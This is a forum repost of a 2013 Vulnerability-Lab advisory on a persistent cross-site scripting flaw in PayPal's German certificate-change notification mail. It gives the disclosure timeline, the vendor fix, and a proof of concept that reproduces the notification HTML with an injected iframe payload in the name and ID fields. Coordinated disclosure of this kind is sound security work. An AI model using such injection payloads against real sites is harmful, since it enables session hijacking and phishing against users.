Praetorian503 Posted February 13, 2013 Report Posted February 13, 2013 This advisory documents the 17th PayPal bug bounty Vulnerability Labs received for a cross site scripting vulnerability.Title:======Paypal Bug Bounty #17 - Persistent Web VulnerabilityDate:=====2013-01-28References:===========http://www.vulnerability-lab.com/get_content.php?id=671PayPal UID: tlm30fdshVL-ID:=====671Common Vulnerability Scoring System:====================================3Introduction:=============PayPal is a global e-commerce business allowing payments and money transfers to be made through the Internet. Online money transfers serve as electronic alternatives to paying with traditional paper methods, such as checks and money orders. Originally, a PayPal account could be funded with an electronic debit from a bank account or by a credit card at the payer s choice. But some time in 2010 or early 2011, PayPal began to require a verified bank account after the account holder exceeded a predetermined spending limit. After that point, PayPal will attempt to take funds for a purchase from funding sources according to a specified funding hierarchy. If you set one of the funding sources as Primary, it will default to that, within that level of the hierarchy (for example, if your credit card ending in 4567 is set as the Primary over 1234, it will still attempt to pay money out of your PayPal balance, before it attempts to charge your credit card). The funding hierarchy is a balance in the PayPal account; a PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master Card or Bill Me Later (if selected as primary funding source) (It can bypass the Balance); a verified bank account; other funding sources, such as non-PayPal credit cards.The recipient of a PayPal transfer can either request a check from PayPal, establish their own PayPal deposit account or request a transfer to their bank account.PayPal is an acquirer, performing payment processing for online vendors, auction sites, and other commercial users, for which it charges a fee. It may also charge a fee for receiving money, proportional to the amount received. The fees depend on the currency used, the payment option used, the country of the sender, the country of the recipient, the amount sent and the recipient s account type. In addition, eBay purchases made by credit card through PayPal may incur extra fees if the buyer and seller use different currencies.On October 3, 2002, PayPal became a wholly owned subsidiary of eBay. Its corporate headquarters are in San Jose, California, United States at eBay s North First Street satellite office campus. The company also has significant operations in Omaha, Nebraska, Scottsdale, Arizona, and Austin, Texas, in the United States, Chennai, Dublin, Kleinmachnow (near Berlin) and Tel Aviv. As of July 2007, across Europe, PayPal also operates as a Luxembourg-based bank.On March 17, 2010, PayPal entered into an agreement with China UnionPay (CUP), China s bankcard association, to allow Chinese consumers to use PayPal to shop online.PayPal is planning to expand its workforce in Asia to 2,000 by the end of the year 2010.Between December 4ñ9, 2010, PayPal services were attacked in a series of denial-of-service attacks organized by Anonymous in retaliation for PayPal s decision to freeze the account of WikiLeaks citing terms of use violations over the publication of leaked US diplomatic cables.(Copy of the Vendor Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal]Abstract:=========The Vulnerability Laboratory Research Team discovered a persistent web vulnerability in the official Paypal ecommerce website application.Report-Timeline:================2012-07-30: Researcher Notification & Coordination2012-07-31: Vendor Notification2012-08-09: Vendor Response/Feedback2013-01-14: Vendor Fix/Patch2013-01-28: Public or Non-Public DisclosureStatus:========PublishedAffected Products:==================Exploitation-Technique:=======================RemoteSeverity:=========MediumDetails:========A persistent input validation vulnerability is detected in the official Paypal website application (Customer/Pro/Seller).The bug allows an attacker (remote) to implement/inject malicious script code on the application side (persistent) of the paypal web service. The vulnerability is located in the Zertifikatsänderung des öffentlichen Schlüssels module with the bound vulnerable name & id mail listing parameters. The vulnerability can be exploited by remote attackers with low or medium required user inter action and with privileged Customer/Pro/Seller account. Successful exploitation of the vulnerability can lead to persistent session hijacking (customers), account steal via persistent web attacks, persistent phishing or stable (persistent) certificate mail notification context manipulation.Vulnerable Module(s): [+] Zertifikatsänderung des öffentlichen Schlüssels (Delete too!)Vulnerable Parameter(s): [+] NAME & IDAffected Section(s): [+] Notification MailProof of Concept:=================The vulnerability can be exploited by remote attackers with privileged user account and medium or high required user inter action.For demonstration or reproduce ...Review: Certificate Change Notification - Username & Company<html><head><title>Zertifikatsänderung des öffentlichen Schlüssels</title><link rel="important stylesheet" href="chrome://messagebody/skin/messageBody.css"></head><body><table class="header-part1" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td><b>Betreff: </b>Zertifikatsänderung des öffentlichen Schlüssels</td></tr><tr><td><b>Von: </b>"service@paypal.de" <service@paypal.de></td></tr><tr><td><b>Datum: </b>Sat, 28 Jul 2012 22:49:45 -0700</td></tr></tbody></table><table class="header-part2" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td><b>An: </b>denjo <x01445@gmail.com></td></tr></tbody></table><br><div class="moz-text-plain"><pre wrap="">Guten Tag benjo >"<iframe src="http://vuln-lab.com">!Hiermit informieren wir Sie darüber, dass Sie erfolgreich ein Zertifikat des öffentlichen Schlüssels mit der folgenden ID hinzugefügt haben: 9XG235W6L7R92.HINWEIS: Wenn Sie kein Zertifikat des öffentlichen Schlüssels hinzufügen möchten, setzen Sie sich umgehend unter der auf der nächsten Seite angegebenen Rufnummer telefonisch mit uns in Verbindung:<a class="moz-txt-link-freetext" href="https://www.paypal.com/de/contact-phone">https://www.paypal.com/de/contact-phone</a>Herzliche GrüßeIhr PayPal-TeamReview: Certificate Change Notification - ID<html><head><title>Zertifikatsänderung des öffentlichen Schlüssels</title><link rel="important stylesheet" href="chrome://messagebody/skin/messageBody.css"></head><body><table class="header-part1" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td><b>Betreff: </b>Zertifikatsänderung des öffentlichen Schlüssels</td></tr><tr><td><b>Von: </b>"service@paypal.de" <service@paypal.de></td></tr><tr><td><b>Datum: </b>Sat, 28 Jul 2012 22:49:45 -0700</td></tr></tbody></table><table class="header-part2" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td><b>An: </b>denjo schenjo <x01445@gmail.com></td></tr></tbody></table><br><div class="moz-text-plain"><pre wrap="">Guten Tag denjo schenjo!Hiermit informieren wir Sie darüber, dass Sie erfolgreich ein Zertifikat des öffentlichen Schlüssels mit der folgenden ID hinzugefügt haben: 9XG137W6L7R92>"<iframe src="http://vuln-lab.com">.HINWEIS: Wenn Sie kein Zertifikat des öffentlichen Schlüssels hinzufügen möchten, setzen Sie sich umgehend unter der auf der nächsten Seite angegebenen Rufnummer telefonisch mit uns in Verbindung:<a class="moz-txt-link-freetext" href="https://www.paypal.com/de/contact-phone">https://www.paypal.com/de/contact-phone</a>Herzliche GrüßeIhr PayPal-TeamNote: The ID notification will be send with the request of the changes. The attacker can manipulate the value by injecting via POST.The select of the notification will be handled by the post request and not by a special request to the real existing updated input of the database. The result of the request notification is the execution of the persistent malicious script code out of the ID context.Solution:=========2013-01-14: Vendor Fix/Patch by PayPal Security TeamRisk:=====The security risk of the persistent input validation vulnerability is estimated as medium(+).Credits:========Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)Disclaimer:===========The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 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